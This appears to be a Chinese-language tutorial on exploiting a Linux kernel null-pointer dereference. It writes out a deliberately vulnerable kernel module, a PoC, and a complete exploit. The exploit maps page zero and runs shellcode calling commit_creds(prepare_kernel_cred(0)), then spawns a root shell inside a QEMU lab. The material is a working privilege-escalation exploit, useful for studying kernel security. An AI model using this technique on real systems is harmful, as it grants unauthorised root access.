0x00 漏洞代码

null_dereference.c:
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/proc_fs.h> void (*my_funptr)(void); int bug1_write(struct file *file, const char *buf, unsigned long len)
{
my_funptr();
return len;
} static int __init null_dereference_init(void)
{
printk(KERN_ALERT "null_dereference driver init!\n");
create_proc_entry("bug1", 0666, 0)->write_proc = bug1_write;
return 0;
} static void __exit null_dereference_exit(void)
{
printk(KERN_ALERT "null_dereference driver exit\n");
} module_init(null_dereference_init);
module_exit(null_dereference_exit);

可以看到漏洞代码中my_funptr函数指针是空指针(值为0x0),调用my_funptr可以执行0x0地址处的代码。

Makefile:

obj-m := null_dereference.o
KERNELDR := /home/moon/Desktop/linux-kernel/linux-2.6.32.1/
PWD := $(shell pwd)
modules:
$(MAKE) -C $(KERNELDR) M=$(PWD) modules
moduels_install:
$(MAKE) -C $(KERNELDR) M=$(PWD) modules_install
clean:
rm -rf *.o *~ core .depend .*.cmd *.ko *.mod.c .tmp_versions

将漏洞代码在本地编译(make)之后,将null_dereference.ko文件放到busybox-1.27.2/_install/usr/目录中。

0x01 PoC

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h> char payload[] = "\xe9\xea\xbe\xad\x0b"; // jmp 0xbadbeef int main()
{
mmap(0, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
memcpy(0, payload, sizeof(payload));
int fd = open("/proc/bug1", O_WRONLY);
write(fd, "fanrong", 7); // 调用bug1的write函数
return 0;
}

编译:

$ gcc -static poc.c -o poc

将poc也放到busybox的usr目录中。

再在busybox的_install目录中执行:

$ find . | cpio -o --format=newc > ../rootfs.img

qemu启动Linux内核,启动后用Ctrl+Alt+2到控制台,输入:

(qemu) gdbserver tcp::1234

在本地linux-2.6.32.1目录中用gdb去连接:

$ gdb vmlinux
(gdb) target remote :1234
Remote debugging using :1234
default_idle() at arch/x86/kernel/process.c:311
311 current_thread_info()->status |= TS_POLLING;
(gdb) b *0x0
(gdb) c
Continuing.

在qemu中Ctrl+Alt+1切换回命令行,进入usr目录,挂载驱动后运行poc程序。

这时gdb就会命中断点,因为调用了空的函数指针,所以会跳转到0x0。反汇编查看当前执行的指令:

可以看到如果继续执行就会执行我们的payload。

0x02 exploit

1.思路:给当前进程赋予root权限

commit_creds(prepare_kernel_cred(0));

在qemu中获取commit_creds和prepare_kernel_cred地址:

2.编写shellcode    

xor %eax, %eax
call 0xc10680d0
call 0xc1067f30
ret

编译shellcode,并获取其机器码,得到shellcode:

shellcode = "\x31\xc0\xe8\xc9\x80\x06\xc1\xe8\x24\x7f\x06\xc1\xc3"

现在将shellcode放入分配的0x0地址空间,当调用空函数指针时,使当前进程有root权限,然后执行一个system(“/bin/sh”);在程序返回用户态之后获得root shell。

exp.c

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h> char payload[] = "\x31\xc0\xe8\xc9\x80\x06\xc1\xe8\x24\x7f\x06\xc1\xc3"; int main()
{
mmap(0, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
memcpy(0, payload, sizeof(payload));
int fd = open("/proc/bug1", O_WRONLY);
write(fd, "fanrong", 7);
system("/bin/sh"); // get root shell
return 0;
}

将exp.c编译,将exp复制到busybox的_install目录下的usr目录中,再启动qemu,运行exp.

成功拿到root shell.                                                                                                    。

最新文章

  1. 我们都是IT民工---------流浪人IDE开发札记
  2. 如何在mac本上安装android sdk 避免被墙
  3. java 类的静态变量
  4. Spring源码学习之:ClassLoader学习(4)
  5. Hibernate 异常 —— No CurrentSessionContext configured
  6. makefile for VCS from Syn@psys
  7. Linux samba服务器设置简单匿名共享
  8. UIApplication-备用
  9. 路由器密码破解工具 Hydra 7.5
  10. [Manacher][HDU3613][Best Reward]
  11. BZOJ 1565: [NOI2009]植物大战僵尸( 最小割 )
  12. jQuery的css
  13. 编写MR代码中,JAVA注意事项
  14. CCF NOI plus 201(7)6 初赛题 解题报告
  15. 解析JavaScrip之对象属性
  16. QTP键盘操作笔记
  17. flask之flask-script组件
  18. 最近玩了下linux下的lampp注意一些使用
  19. Nginx的站点目录及文件URL的访问控制
  20. 洛谷P2777 [AHOI2016初中组]自行车比赛

热门文章

  1. (水题)Codeforces - 4C - Registration system
  2. L2-023 图着色问题 (25 分)vector
  3. JavaScript数组及相关方法
  4. VR相关学习资源
  5. TopCoder 14084 BearPermutations2【笛卡尔树+dp】
  6. hoj2665 Factory of XiaoE
  7. sql数据库查询结果字段包含换行符导致复制到Excel发生错位问题的解决
  8. 远程kafka通信实例,各种bug解决----虚拟机+本地电脑
  9. mybatis-trim标签说明
  10. [题解]luogu_P2613有理数取余